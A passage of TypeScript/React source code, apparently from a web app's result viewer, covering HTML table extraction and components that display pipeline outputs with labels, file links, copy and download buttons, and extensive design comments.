(;;) {\n const tag = nextOutsideFences(text, cursor, TABLE_TAG);\n if (!tag) return undefined;\n depth += tag[1] === '/' ? -1 : 1;\n cursor = tag.index + tag[0].length;\n if (depth === 0) return cursor;\n }\n}\n\n/** The tags a table is built of, opening or closing: its own, its caption's, its rows' and its cells'. */\nconst TABLE_STRUCTURE = /<(\\/?)(table|caption|tr|td|th)\\b([^>]*)>/gi;\n\n/**\n * One table's markup, read. `undefined` when it holds neither a caption nor a row.\n *\n * The table's tags are read in order, counting the tables nested in it, and\n * only the tags of the table itself build its caption, its rows and its\n * cells: a nested table's `</tr>` does not end the row of the cell holding it,\n * so the cells after that one stay in their row. The nested table is part of\n * its cell's text (see `cellText`). A cell ends at its closing tag, or where\n * the next cell, row or the table's end begins, as the HTML parser ends one.\n * What lies outside a row (the table's groups, stray text) is not read.\n */\nfunction readTable(markup: string): ExtractedTable | undefined {\n let caption = '';\n let captionStart: number | undefined;\n const rows: ExtractedTableCell[][] = [];\n let row: ExtractedTableCell[] | undefined;\n let cell: { header: boolean; attributes: string; start: number } | undefined;\n let depth = 0;\n\n const endCell = (at: number) => {\n if (cell && row) {\n const colSpan = span(cell.attributes, COLSPAN);\n const rowSpan = span(cell.attributes, ROWSPAN);\n row.push({\n text: cellText(markup.slice(cell.start, at)),\n header: cell.header,\n ...(colSpan !== undefined ? { colSpan } : {}),\n ...(rowSpan !== undefined ? { rowSpan } : {}),\n });\n }\n cell = undefined;\n };\n const endRow = (at: number) => {\n endCell(at);\n if (row && row.length > 0) rows.push(row);\n row = undefined;\n };\n\n for (const tag of markup.matchAll(TABLE_STRUCTURE)) {\n const closing = tag[1] === '/';\n const name = (tag[2] ?? '').toLowerCase();\n if (name === 'table') {\n depth += closing ? -1 : 1;\n if (depth === 0) break;\n continue;\n }\n // A nested table's own caption, rows and cells are its cell's text.\n if (depth !== 1) continue;\n if (name === 'caption') {\n if (!closing && caption === '' && captionStart === undefined) {\n captionStart = tag.index + tag[0].length;\n } else if (closing && captionStart !== undefined) {\n caption = cellText(markup.slice(captionStart, tag.index));\n captionStart = undefined;\n }\n continue;\n }\n if (name === 'tr') {\n endRow(tag.index);\n if (!closing) row = [];\n continue;\n }\n endCell(tag.index);\n if (!closing && row) {\n cell = {\n header: name === 'th',\n attributes: tag[3] ?? '',\n start: tag.index + tag[0].length,\n };\n }\n }\n endRow(markup.length);\n if (rows.length === 0 && caption === '') return undefined;\n return { ...(caption !== '' ? { caption } : {}), rows };\n}\n\nconst COLSPAN = /\\bcolspan\\s*=\\s*[\"']?(\\d+)/i;\nconst ROWSPAN = /\\browspan\\s*=\\s*[\"']?(\\d+)/i;\n\n/**\n * A span attribute, as the number a table cell takes. One is no span at all,\n * and a value past a thousand is the markup misbehaving rather than a table:\n * both are dropped, and the cell spans one.\n */\nfunction span(attributes: string, pattern: RegExp): number | undefined {\n const match = pattern.exec(attributes);\n const value = match ? Number(match[1]) : undefined;\n return value !== undefined && value > 1 && value <= 1000 ? value : undefined;\n}\n\n/**\n * A cell's markup as its text: tags removed, a `<br>` kept as a line break,\n * references decoded. A table nested in the cell is read into it too, each of\n * its cells (and its caption) a line of the cell's text, so its words stay\n * apart and no tag of it is shown.\n */\nfunction cellText(markup: string): string {\n return decodeHtmlEntities(\n markup\n .replace(/<br\\s*\\/?>/gi, '\\n')\n .replace(/<\\/?(?:table|caption|tr|td|th)\\b[^>]*>/gi, '\\n')\n .replace(/<[^>]*>/g, ''),\n )\n .split('\\n')\n .map((line) => line.replace(/\\s+/g, ' ').trim())\n .filter((line) => line !== '')\n .join('\\n');\n}\n","'use client';\n\nimport type * as React from 'react';\nimport type { EnumRunField, ObjectRunField, RunField } from '../core';\nimport { conceptCategory } from '../core/descriptor';\nimport type {\n CompositeMember,\n DateContentView,\n DocumentContentView,\n HtmlContentView,\n SearchResultContentView,\n SearchSourceView,\n} from '../core/native-content';\nimport {\n TYPED_SCALAR_MARKERS,\n citedSource,\n formatDateContent,\n isNativeCompositeNode,\n isNativeDateNode,\n isNativeHtmlNode,\n isNativePageNode,\n isNativeSearchResultNode,\n isNativeValueNode,\n nativeVerdictOf,\n readChoiceContent,\n readCompositeContent,\n readDateContent,\n readDocumentContent,\n readHtmlContent,\n readImageContent,\n readPageContent,\n readRatingContent,\n readSearchResultContent,\n readYesNoContent,\n viewableUrl,\n} from '../core/native-content';\nimport { ownProp } from '../core/own-property';\nimport { planFileSave, splitFileName } from '../core/save-plan';\nimport { readStuffFile, type StuffFile, type StuffFileKind } from '../core/stuff-files';\nimport {\n useFileDownloadShown,\n usePdfSaveShown,\n useResolveRendition,\n useResolveShareUrl,\n useResolveUrl,\n PanelEnvOverride,\n useResultFramed,\n useSaveFiles,\n useTableColumns,\n useTableLayout,\n type ResolveRendition,\n type ResolveUrl,\n} from './result-env';\nimport { absoluteUrl } from './absolute-url';\nimport { ResultAt, ResultRoot, useResultLocation } from './result-location';\nimport { createContext, Fragment, use, useEffect, useId, useMemo, useRef, useState } from 'react';\nimport {\n Check,\n ChevronDown,\n ChevronRight,\n Copy,\n Download,\n ExternalLink,\n Eye,\n EyeOff,\n FileText,\n ImageOff,\n Loader2,\n TriangleAlert,\n} from 'lucide-react';\nimport { ConceptPill } from './concept-pill';\nimport { FocusFrame } from './focus-frame';\nimport { usePdfViewer } from './pdf-viewer';\nimport { TooltipContent, TooltipProvider, TooltipRoot, TooltipTrigger } from './ui/tooltip';\nimport { HtmlPreview } from './html-preview';\nimport { ImageViewer } from './image-viewer';\nimport { PdfDownloadButton } from './pdf-download-button';\nimport { useFileNamePrompt } from './file-name-dialog';\nimport { Markdown, opensWithHeading } from './markdown';\nimport { ExtractedPageText } from './extracted-page-text';\nimport { splitExtractedText } from './extracted-text';\nimport { encodedFileSummary } from './encoded-file';\nimport { useFieldStrings, type FieldStrings } from './field-strings';\nimport { humanizeEnumValue, humanizeFieldName } from '../core/humanize';\nimport {\n enumLabeler,\n fieldLabel,\n useFieldPresentation,\n type FieldPresentation,\n} from './field-presentation';\nimport { focusOutlineClass, focusOutlineInsetClass } from './role-tokens';\nimport { cn } from './utils';\n\n/**\n * A pipe's RESULT, rendered read-only.\n *\n * The same `RunField` the input controls are driven by — because an output is a\n * concept ref exactly like an input is, so its kinds, its nesting and its list\n * bounds are the same questions with the same answers. `buildResultField` maps\n * an output descriptor through the very mapper `buildRunFields` uses.\n *\n * What is NOT shared is the presentation, and deliberately: a result is read,\n * not edited. Rendering it as a disabled form would say \"you may not change\n * this\" where the truth is \"this is what came back\". So these are values with\n * labels, not controls with values.\n *\n * ## The dispatch is exhaustive, and that is load-bearing\n *\n * Every `RunFieldKind` gets an arm and the fall-through asserts `never`, so a\n * kind added to the descriptor fails the BUILD here rather than rendering wrong.\n * It used to fall through to `String(value)`, which turned a `document` result\n * into the literal text `[object Object]` — silently, with no error anywhere.\n *\n * The arms that read a structure (`document`, `image`, `date`) read it through\n * `../core/native-content`, keyed by the kind the descriptor STATES. That is\n * reading the standard's pinned content models; working out which kind a value\n * is by inspecting its keys would be guessing at them, and this file no longer\n * does any of it.\n *\n * **`native.Html` is the one arm keyed by CONCEPT rather than by kind**, and not\n * as an exception grudgingly made: the standard's kind vocabulary has no `html`\n * member, so markup arrives as an `object` node over `{inner_html, css_class}`.\n * That is right for the descriptor — kinds name how a value is ENTERED, and\n * markup is entered as text — and useless for a result, which would otherwise\n * print a page's source at a reader. Asking `refines`/`concept_ref` whether a\n * node is `native.Html` is a membership test on stated facts, which the\n * standard's own page names as the supported way to ask it.\n *\n * The same membership test keys the other concepts the kind vocabulary cannot\n * name: `native.Date`, `native.Composite`, `native.Page`, and in `app` the\n * verdicts a judge returns: a yes or no (`native.YesNo`), a rating\n * (`native.Rating`) and a choice (`native.Choice`). See `docs/result-view.md`\n * for each.\n */\n\n/**\n * The wire wraps a scalar (and a plural) payload inside its content model; this\n * unwraps by the property NAME the descriptor carries.\n *\n * `contentKey` is the only unwrap path there is. The property-counting fallback\n * that used to sit here is deleted, not bypassed: it was the output side\n * reintroducing the shape sniffing the derivation swap removed, and requiring a\n * schema on `buildResultField` is what made deleting it possible.\n */\nfunction unwrap(field: RunField, value: unknown): unknown {\n if (!field.contentKey) return value;\n if (typeof value !== 'object' || value === null || Array.isArray(value)) return value;\n const unwrapped = ownProp(value as Record<string, unknown>, field.contentKey);\n return unwrapped === undefined ? value : unwrapped;\n}\n\n/**\n * A description, on hover and on focus — and nothing at rest.\n *\n * ## Why no dotted underline, and no info icon either\n *\n * The dotted underline is the `<abbr>` convention, and it does not survive\n * density: ten described fields in a record is ten underlined labels, which\n * reads as damage rather than as an affordance. An info icon is the other usual\n * answer and has the same problem one step removed — ten glyphs competing with\n * the concept pill already sitting beside each label.\n *\n * So: **nothing at rest.** The cue arrives when the pointer does — `cursor:\n * help` and a faint highlight, both at the moment the reader is already pointing\n * at the label, and neither costing anything when they are not. That is the\n * trade a supplementary fact deserves: the value is what the reader came for,\n * and the description is available rather than advertised.\n *\n * ## The part that is not a trade\n *\n * A fact reachable only by pointing is a fact a keyboard user does not have, so\n * the trigger is focusable and Radix shows the tooltip on focus as it does on\n * hover, wiring `aria-describedby` either way. That costs a tab stop per\n * described field, and it is the right cost: extra stops are an annoyance,\n * unreachable content is a failure.\n */\nfunction Described({ description, children }: { description?: string; children: React.ReactNode }) {\n if (!description) return <>{children}</>;\n return (\n <TooltipProvider delayDuration={200}>\n <TooltipRoot>\n <TooltipTrigger asChild>\n <span\n tabIndex={0}\n className=\"-mx-1 cursor-help rounded px-1 outline-hidden transition-colors hover:bg-muted focus-visible:ring-2 focus-visible:ring-ring\"\n >\n {children}\n </span>\n </TooltipTrigger>\n <TooltipContent>{description}</TooltipContent>\n </TooltipRoot>\n </TooltipProvider>\n );\n}\n\n/**\n * The label row of a result node — exported so the panel that owns the top-level\n * header draws the SAME one rather than a second that drifts from it. `unseen`\n * says it to assistive technology without drawing it, as the panel does when\n * its whole result names itself (`resultHeadsItself`).\n */\nexport function ResultHeader({ field, unseen = false }: { field: RunField; unseen?: boolean }) {\n return <Label field={field} describe unseen={unseen} />;\n}\n\nfunction Label({\n field,\n describe = false,\n unseen = false,\n}: {\n field: RunField;\n describe?: boolean;\n /**\n * Said to assistive technology and not drawn: the label of a text that\n * opens with a heading of its own, which names it on the page (the leaf arm\n * of `ResultNode`), and the title a host gave a panel whose whole result is\n * such a text (`StuffViewer`). With `describe`, the description a drawn\n * label carries in its tooltip is said after it, so a screen reader still\n * hears it.\n */\n unseen?: boolean;\n}) {\n // The same rule the input side follows, and for the same reason: in `studio`\n // the label IS the identifier the method author wrote, so it is shown\n // verbatim in mono beside its concept pill; in `app` it becomes a humanised\n // sans label and the pill goes, because a person reading a result has never\n // seen the bundle. Reading `useFieldPresentation` here rather than\n // humanising unconditionally is what keeps a result's labels agreeing with\n // the form's for the very same fields. See `field-presentation.tsx`.\n const presentation = useFieldPresentation();\n const isApp = presentation === 'app';\n const labelText = fieldLabel(field.title, field.name, presentation);\n // An unseen label draws nothing, an empty one included: the pill below\n // stands in for a missing label where one is drawn, and drawing it here\n // would put a visible mark over the heading the label gave way to.\n if (unseen) {\n if (labelText.trim() === '') return null;\n return (\n <span className=\"sr-only\">\n {describe && field.description ? `${labelText}: ${field.description}` : labelText}\n </span>\n );\n }\n if (labelText.trim() === '') {\n return <ConceptPill conceptRef={field.conceptRef} category={conceptCategory(field)} />;\n }\n return (\n <div className=\"flex flex-wrap items-baseline gap-x-2\">\n <Described description={describe ? field.description : undefined}>\n <span\n className={cn(\n 'text-[13px] font-semibold text-foreground',\n isApp ? 'text-[13.5px]' : 'font-mono',\n )}\n >\n {labelText}\n </span>\n </Described>\n {!isApp && <ConceptPill conceptRef={field.conceptRef} category={conceptCategory(field)} />}\n </div>\n );\n}\n\nexport function Absent() {\n const s = useFieldStrings();\n return (\n <span className=\"text-[13px] text-muted-foreground\">\n {/* The glyph is hidden from assistive tech and the sentence is hidden from\n the page: a column of hyphens read aloud is noise, and a column of\n \"not provided\" read on the page is louder than the data beside it. */}\n <span aria-hidden>{s.resultAbsent}</span>\n <span className=\"sr-only\">{s.resultAbsentDescription}</span>\n </span>\n );\n}\n\n/**\n * A structured value nothing named — as JSON, never as `[object Object]`.\n *\n * **`String(anObject)` is `\"[object Object]\"`, and that string must never reach\n * a reader.** It is not a rendering of anything: it says a value was present and\n * throws it away, which is strictly worse than both honest answers. There are\n * only two of those — *there is nothing here*, or *here is what is here* — and\n * this is the second.\n *\n * When it happens at all is a narrower question than it looks. A descriptor\n * states a `kind`, and every structured kind has an arm; so a record reaching\n * this component means the payload disagrees with the descriptor that described\n * it, or the node is `unknown` — the standard's own escape hatch for a kind\n * newer than the pinned `mthds`, whose entire contract is that a consumer may\n * not know what it is holding. Raw JSON is the right answer to both: the reader\n * sees the value, and nobody has invented a shape for it.\n */\nexport function stringifyValue(value: object): string | undefined {\n try {\n // A BigInt throws rather than serializing, and it can arrive from a JSON\n // parser configured to produce them. Naming it is better than failing.\n const text = JSON.stringify(value, (_key, member) =>\n typeof member === 'bigint' ? member.toString() : member,\n );\n if (text === undefined || text === '{}' || text === '[]') return undefined;\n return JSON.stringify(JSON.parse(text), null, 2);\n } catch {\n // Circular, and so unserializable. Still SOMETHING: name its members rather\n // than falling back to the one string this whole function exists to avoid.\n const keys = Array.isArray(value) ? [] : Object.keys(value);\n return keys.length > 0 ? `{ ${keys.join(', ')} }` : undefined;\n }\n}\n\nfunction RawValue({ value, compact }: { value: object; compact: boolean }) {\n const text = stringifyValue(value);\n // `{}` and `[]` are the EMPTY half of the rule: a value that holds nothing is\n // an absence, and printing two braces at a reader is not more honest.\n if (text === undefined) return <Absent />;\n return compact ? (\n <span title={text} className=\"truncate font-mono text-[12px] text-foreground\">\n {text}\n </span>\n ) : (\n <pre className=\"overflow-x-auto whitespace-pre-wrap wrap-break-word rounded-md border border-border bg-card/40 px-2.5 py-1.5 font-mono text-[12px] leading-relaxed text-foreground\">\n {text}\n </pre>\n );\n}\n\n/**\n * A value, as text.\n *\n * `compact` is the table-cell variant: a cell is one line, so the newlines a\n * stacked field preserves must not open a row to three. Set by `LeafValue` when\n * it renders into a `<td>`, never guessed from the value.\n */\nfunction Scalar({ value, compact = false }: { value: unknown; compact?: boolean }) {\n if (value === null || value === undefined || value === '') return <Absent />;\n // The one branch that matters: `String()` is never reached by an object, so\n // `[object Object]` cannot be produced here however the payload drifts.\n if (typeof value === 'object') return <RawValue value={value} compact={compact} />;\n return (\n <span\n className={cn(\n 'text-[13px] leading-relaxed text-foreground',\n compact ? 'whitespace-nowrap' : 'whitespace-pre-wrap',\n )}\n >\n {String(value)}\n </span>\n );\n}\n\nfunction Bool({ value, compact = false }: { value: unknown; compact?: boolean }) {\n const s = useFieldStrings();\n if (value === null || value === undefined || value === '') return <Absent />;\n if (typeof value !== 'boolean') return <Scalar value={value} compact={compact} />;\n return <span className=\"text-[13px] text-foreground\">{value ? s.yes : s.no}</span>;\n}\n\nfunction DateValue({ value }: { value: unknown }) {\n const content = readDateContent(value);\n if (!content) return <Absent />;\n return <span className=\"text-[13px] text-foreground\">{formatDateContent(content)}</span>;\n}\n\n/**\n * An enum value: its code in `studio`, its code in words in `app`.\n *\n * A builder's view shows `unit_price_differs_from_po`, because that is what the\n * bundle and the JSON say and what the builder will search for next. A method\n * app's reader has seen neither, and gets \"Unit price differs from po\" - in a\n * stacked row, a table cell and a chip alike, which is why this is an arm of\n * `LeafValue` rather than something one layout does. The wording is\n * `enumLabeler`'s, the same rule `EnumField` offers its options under, so a\n * result reads as the form that produced it did, codes included when two\n * options would read the same. Only a string is worded; anything else is the\n * payload disagreeing with its descriptor, and is shown as it is.\n */\nfunction EnumValue({\n field,\n value,\n compact,\n}: {\n field: EnumRunField;\n value: unknown;\n compact: boolean;\n}) {\n const presentation = useFieldPresentation();\n const shown = typeof value === 'string' ? enumLabeler(field.options, presentation)(value) : value;\n return <Scalar value={shown} compact={compact} />;\n}\n\n/**\n * A table cell's tooltip: the value as the cell shows it. A cell is truncated\n * past its width cap, and the tooltip is then the only way to read it whole,\n * so an enum cell's tooltip carries the same `enumLabeler` label as the cell\n * rather than the code the payload holds. Every other kind keeps the payload's\n * text.\n */\nfunction cellTitle(column: RunField, cell: string | number, presentation: FieldPresentation) {\n return column.kind === 'enum' && typeof cell === 'string'\n ? enumLabeler(column.options, presentation)(cell)\n : String(cell);\n}\n\n/**\n * The name to put on a file: what it is CALLED, not where it lives.\n *\n * A `pipelex-storage://` reference is ninety characters of UUID and hash, and\n * printing it whole is five wrapped lines that say one thing — this is a file.\n * The last path segment is the part a person reads; the whole reference stays on\n * the `title`, because it is the part they occasionally need to copy.\n *\n * A `data:` URL has no path to take a segment from: it IS the file, and its\n * \"last segment\" was whatever base64 followed the final `/`. It is named by its\n * format and size instead.\n */\nfunction fileLabel(url: string, filename: string | undefined, strings: FieldStrings): string {\n if (filename) return filename;\n const encoded = encodedFileSummary(url, strings);\n if (encoded !== undefined) return encoded;\n return pathLabel(url);\n}\n\n/** The last path segment of a URL, or the URL when it has none. */\nfunction pathLabel(url: string): string {\n const path = url.split(/[?#]/)[0] ?? url;\n const segment = path.split('/').filter(Boolean).pop();\n return segment && segment.length > 0 ? segment : url;\n}\n\n/**\n * Put the WHOLE reference on the clipboard, while the page shows a short name.\n *\n * The two requirements pull opposite ways and this is what resolves them: a\n * ninety-character storage reference printed in full wraps across the panel and\n * says nothing, and a name alone is not something a person can paste into a\n * terminal. So the label is the name, and the button is the URL.\n *\n * Hidden when the API is absent rather than failing on click — `navigator\n * .clipboard` is undefined outside a secure context, and a button that does\n * nothing is worse than no button. The link and the `title` still carry the\n * reference there.\n */\n/**\n * Copy a value to the clipboard.\n *\n * On a URL it is the obvious affordance; on TEXT it is the one that was\n * missing, and its absence was the more expensive of the two. A result view is\n * where a person goes to take something away — a report to paste into a\n * document, an extracted paragraph to send on — and the alternative it left\n * them was selecting a rendered heading, list and table by dragging, which\n * picks up the layout and loses the markdown. So every text value carries one,\n * markdown or not, and what it writes is the SOURCE the run produced rather\n * than the typeset rendering.\n *\n * It renders nothing where there is no clipboard (an insecure origin, an\n * environment without the API). A button that silently fails is worse than one\n * that was never offered.\n */\n/**\n * The copy and download buttons below `sm`: 44px square around their 14px\n * icon, the area a finger is given. They grow where they stand rather than\n * reaching past their box, because they sit side by side, two pixels apart.\n */\nconst FILE_BUTTON_ON_A_PHONE = 'max-sm:grid max-sm:size-11 max-sm:place-items-center';\n\n/**\n * An action that carries its word beside its icon, drawn as a document's\n * Preview is: a small bordered button, 44px tall below `sm`. Its colour is the\n * caller's.\n */\nconst CARD_ACTION =\n 'inline-flex shrink-0 items-center gap-1.5 rounded-md border border-border px-2 py-1 text-[12px] hover:bg-card max-sm:min-h-11 max-sm:px-3';\n\nfunction CopyButton({\n value,\n provide,\n label,\n title,\n}: {\n value?: string;\n /** Produces the text at click time — for a URL that must be minted fresh. */\n provide?: () => Promise<string>;\n label: string;\n title?: string;\n}) {\n const [copied, setCopied] = useState(false);\n // The check mark reverts after a moment. The timer belongs to the effect, so\n // it is cleared when the control unmounts rather than firing into a\n // component, or a document, that is gone.\n useEffect(() => {\n if (!copied) return;\n const timer = window.setTimeout(() => setCopied(false), 1500);\n return () => window.clearTimeout(timer);\n }, [copied]);\n if (typeof navigator === 'undefined' || !navigator.clipboard) return null;\n return (\n <button\n type=\"button\"\n onClick={() => {\n // `ClipboardItem` with a PROMISE, not `writeText` after an await.\n // Safari drops a clipboard write once the user gesture has been\n // consumed by an await, so minting a share URL first and writing second\n // silently copies nothing there. Handing the promise to the clipboard\n // keeps the write inside the gesture. `writeText` stays the path where\n // there is nothing to mint, and the fallback covers a browser without\n // `ClipboardItem`.\n const done = () => setCopied(true);\n if (!provide) {\n void navigator.clipboard.writeText(value ?? '').then(done);\n return;\n }\n const text = provide();\n if (typeof ClipboardItem === 'function' && 'write' in navigator.clipboard) {\n void navigator.clipboard\n .write([\n new ClipboardItem({\n 'text/plain': text.then((t) => new Blob([t], { type: 'text/plain' })),\n }),\n ])\n .then(done, () => void text.then((t) => navigator.clipboard.writeText(t)).then(done));\n return;\n }\n void text.then((t) => navigator.clipboard.writeText(t)).then(done);\n }}\n {...(title ? { title } : {})}\n aria-label={label}\n className={cn(\n 'shrink-0 rounded p-0.5 text-muted-foreground hover:bg-card hover:text-foreground',\n focusOutlineClass,\n FILE_BUTTON_ON_A_PHONE,\n )}\n >\n {copied ? (\n <Check aria-hidden className=\"size-3.5\" />\n ) : (\n <Copy aria-hidden className=\"size-3.5\" />\n )}\n </button>\n );\n}\n\nfunction CopyUrlButton({ url, storageUrl }: { url: string; storageUrl?: string }) {\n const s = useFieldStrings();\n const resolveShare = useResolveShareUrl();\n // What the page SHOWS and what the clipboard should CARRY are different URLs,\n // and this is the one control that wants the second.\n //\n // The display URL may be a path behind the host's session (`/api/assets/…`)\n // — right for an `<img>` under a strict `img-src 'self'`, useless to whoever\n // pastes it. So when the host can mint a share URL from the underlying\n // reference, this asks for one per click: it carries its own credential and\n // starts expiring immediately, so holding one would be worse than minting it.\n //\n // Absolutising is the fallback for a host with no minter: a relative path at\n // least becomes a link that works for someone already signed in.\n const provide = async () => {\n if (resolveShare && storageUrl) {\n const shared = await resolveShare(storageUrl);\n if (shared) return shared;\n }\n return absoluteUrl(url);\n };\n return <CopyButton provide={provide} label={s.copyUrl} title={url} />;\n}\n\n/**\n * A file reference, as one line.\n *\n * A `pipelex-storage://` URL is not something a browser can follow, and this\n * component takes no resolver — resolving one is the host's seam\n * ([../../docs/upload-seam.md]), and a read-only result view is not the place to\n * open a network call nobody asked for. So an unresolvable reference is named\n * rather than linked, and never wrapped across the panel: it truncates, with the\n * whole of it on the `title`.\n */\nfunction FileRef({\n url,\n storageUrl,\n mimeType,\n filename,\n file,\n}: {\n url: string;\n /** The underlying reference, so the copy control can mint a share URL from it. */\n storageUrl?: string;\n mimeType?: string;\n filename?: string;\n /** The file as the download reads it, when this line may offer to save it. */\n file?: StuffFile;\n}) {\n const s = useFieldStrings();\n // Read ONCE: counting a payload means walking it, and the payload is the\n // file. This component wants the summary twice - as the label a `data:` URL\n // has no path to give, and instead of a whole file in a `title` tooltip -\n // and the second call was a second walk of the same megabytes per render.\n const encoded = encodedFileSummary(url, s);\n const label = filename ? filename : (encoded ?? pathLabel(url));\n const reference = encoded ?? url;\n const title = mimeType ? `${reference} · ${mimeType}` : reference;\n // Judged here as well as by the caller, because this component is also given\n // the raw reference as the \"nothing paintable\" fallback - and the HREF is the\n // gate's own string, never the candidate, so an accepted URL and the one\n // opened on click cannot differ.\n const href = viewableUrl(url);\n return (\n <span className=\"flex min-w-0 items-center gap-1.5\">\n {href ? (\n <a\n href={href}\n target=\"_blank\"\n rel=\"noreferrer\"\n title={title}\n // A line 44px tall below `sm`, so a finger can follow the link.\n className={cn(\n 'min-w-0 truncate rounded-sm font-mono text-[12px] text-foreground underline underline-offset-2 max-sm:min-w-11 max-sm:leading-11',\n focusOutlineClass,\n )}\n >\n {label}\n </a>\n ) : (\n <span\n title={title}\n className=\"min-w-0 truncate font-mono text-[12px] text-muted-foreground\"\n >\n {label}\n </span>\n )}\n <FileActions copy={{ url, ...(storageUrl ? { storageUrl } : {}) }} file={file} />\n </span>\n );\n}\n\n/**\n * The controls beside a file: copy its URL, save it.\n *\n * One row, drawn in one place, for every file the result view shows — a\n * standalone image, a gallery tile, a document, an HTML page. That is so the\n * next control joins this row rather than growing a second seam: a host action\n * on a file, such as handing an image to an assistant, belongs beside Download.\n */\nfunction FileActions({\n copy,\n file,\n}: {\n /** The URL to copy, and the reference a share URL is minted from. Absent for inline content. */\n copy?: { url: string; storageUrl?: string };\n file: StuffFile | undefined;\n}) {\n return (\n <span className=\"flex shrink-0 items-center gap-0.5\">\n {copy && (\n <CopyUrlButton\n url={copy.url}\n {...(copy.storageUrl ? { storageUrl: copy.storageUrl } : {})}\n />\n )}\n {file && <FileDownloadButton file={file} />}\n </span>\n );\n}\n\n/**\n * The file a control is drawn beside, read as the whole-result download reads\n * it: same reader, same place in the result, so the file saves under the same\n * name whichever control the reader used. `undefined` outside a result tree.\n */\nfunction useStuffFile(kind: StuffFileKind, value: unknown): StuffFile | undefined {\n const location = useResultLocation();\n return location ? readStuffFile(kind, value, location.path.join('.')) : undefined;\n}\n\n/** One press of a file's button, and the file it saved: its planned name and bytes. */\ninterface FileSaveAttempt {\n identity: string;\n state: 'saving' | 'saved' | 'failed';\n}\n\n/**\n * Save this one file — through the host's save function when it supplied one,\n * the browser tab's otherwise, exactly as the whole-result download does, with\n * a plan of one file and no JSON copy.\n *\n * Drawn only when the host's display settings want a button on this kind of\n * file, and only when the file CAN be saved: a stored reference nothing\n * resolves offers no download, because it would be a click that does nothing.\n *\n * A file that does not arrive says so, on the button and to assistive\n * technology, until the reader tries again. The success mark reverts after a\n * moment, as the copy control's does.\n *\n * `labelled` draws it as a button with its word beside the icon, for a card\n * whose actions are the point of it (a PDF the browser cannot show); beside a\n * file's reference it is the icon alone.\n */\nfunction FileDownloadButton({ file, labelled = false }: { file: StuffFile; labelled?: boolean }) {\n const s = useFieldStrings();\n const location = useResultLocation();\n const resolve = useResolveUrl();\n const save = useSaveFiles();\n const shown = useFileDownloadShown(file.kind);\n const { ask, dialog } = useFileNamePrompt();\n const statusId = useId();\n // The state belongs to the file it was drawn for. Entries are keyed by their\n // index, so a rerun that puts another file at the same place keeps this\n // component; without the file's identity beside the state, the new file would\n // show the old one's failure, or be marked by a save still in flight for it.\n const [attempt, setAttempt] = useState<FileSaveAttempt | null>(null);\n useEffect(() => {\n if (attempt?.state !== 'saved') return;\n const timer = window.setTimeout(\n () => setAttempt((current) => (current === attempt ? null : current)),\n 1500,\n );\n return () => window.clearTimeout(timer);\n }, [attempt]);\n // A file is only ever read inside a result location, so this is the case\n // that does not occur; without a base name there is nothing to name it by.\n if (!shown || !location) return null;\n const planned = planFileSave(file, {\n baseName: location.baseName,\n ...(resolve ? { resolveUrl: resolve } : {}),\n });\n if (!planned) return null;\n const identity = `${planned.name}\\n${planned.url ?? planned.text}`;\n const state = attempt?.identity === identity ? attempt.state : 'idle';\n const failed = state === 'failed';\n const label = s.downloadFile(planned.name);\n return (\n <>\n <button\n type=\"button\"\n onClick={async () => {\n // The reader's name, when the host asks for one, is the planned\n // file's name: the extension the plan chose stays, so a `data:` file\n // keeps the one its admitted type allows.\n const { stem, extension } = splitFileName(planned.name);\n const name = await ask(stem, extension);\n if (name === null) return;\n const started: FileSaveAttempt = { identity, state: 'saving' };\n setAttempt(started);\n const result = await save([name === planned.name ? planned : { ...planned, name }]);\n const settled = result.failed.length > 0 ? 'failed' : 'saved';\n // Only the latest press settles the button; an earlier one still in\n // flight answers for a state nobody is looking at any more.\n setAttempt((current) => (current === started ? { identity, state: settled } : current));\n }}\n disabled={state === 'saving'}\n aria-label={label}\n title={failed ? s.downloadFileFailed : label}\n {...(failed ? { 'aria-describedby': statusId } : {})}\n className={cn(\n labelled\n ? cn(CARD_ACTION, 'disabled:opacity-60')\n : cn(\n 'shrink-0 rounded p-0.5 hover:bg-card disabled:opacity-60',\n FILE_BUTTON_ON_A_PHONE,\n ),\n focusOutlineClass,\n failed ? 'text-destructive' : 'text-muted-foreground hover:text-foreground',\n )}\n >\n {state === 'saving' ? (\n <Loader2 aria-hidden className=\"size-3.5 animate-spin\" />\n ) : state === 'saved' ? (\n <Check aria-hidden className=\"size-3.5\" />\n ) : failed ? (\n <TriangleAlert aria-hidden className=\"size-3.5\" />\n ) : (\n <Download aria-hidden className=\"size-3.5\" />\n )}\n {labelled && s.download}\n </button>\n <span id={statusId} role=\"status\" className=\"sr-only\">\n {failed ? s.downloadFileFailed : ''}\n </span>\n {dialog}\n </>\n );\n}\n\n/**\n * The URL to actually paint, in order of DURABILITY rather than convenience.\n *\n * 1. **The host's resolver, applied to `url`.** `url` is the runtime's own\n * reference (`pipelex-storage://…`) — the identity of the object, which does\n * not rot. A host that can turn one into a fetchable URL should always be\n * asked, because what it returns it can mint again tomorrow.\n * 2. **`public_url`.** Fetchable with no host help, and the reason this used to\n * come first — but on the hosted platform it is a PRESIGNED S3 URL with an\n * hour's life, baked into the stored result. A run opened the next morning\n * shows a broken image, and the URL says `403` rather than anything about\n * permissions, so it reads as \"the app cannot see my own file\" when it means\n * \"this signature expired at 20:42 yesterday\". That is why the order flipped.\n * 3. **`url` unresolved**, for a producer that states only the required member\n * and already puts something fetchable in it.\n *\n * `undefined` when nothing here can be painted — the arms then name the file\n * instead, which is the honest floor.\n */\nfunction paintable(\n content: { url: string; publicUrl?: string },\n resolve?: ResolveUrl,\n): PaintableUrl | undefined {\n // `viewableUrl` rather than a predicate over the raw member: what comes back\n // is the NORMALISED string, and every sink downstream takes that. A member\n // carrying a leading space parses as `https:` for a host that validated it and\n // failed a prefix match here, so the two used to act on different URLs.\n const resolved = viewableUrl(resolve?.(content.url));\n if (resolved) return { url: resolved, fromResolver: true };\n const stated = viewableUrl(content.publicUrl) ?? viewableUrl(content.url);\n return stated ? { url: stated, fromResolver: false } : undefined;\n}\n\n/**\n * A URL the gate accepted, and WHO produced the candidate it accepted.\n *\n * Provenance is not decoration: a root-relative path is the embedding page's own\n * origin, so who chose the path decides whether it may be framed. The gate\n * cannot tell a resolver's answer from a payload member — both are strings — but\n * this function knows, because it asked them in order. See {@link frameableUrl}.\n */\ninterface PaintableUrl {\n url: string;\n /** True when the HOST's resolver produced it, rather than the payload. */\n fromResolver: boolean;\n}\n\n/** The paintable URL alone, for the sinks that do not care where it came from. */\nfunction paintableUrl(\n content: { url: string; publicUrl?: string },\n resolve?: ResolveUrl,\n): string | undefined {\n return paintable(content, 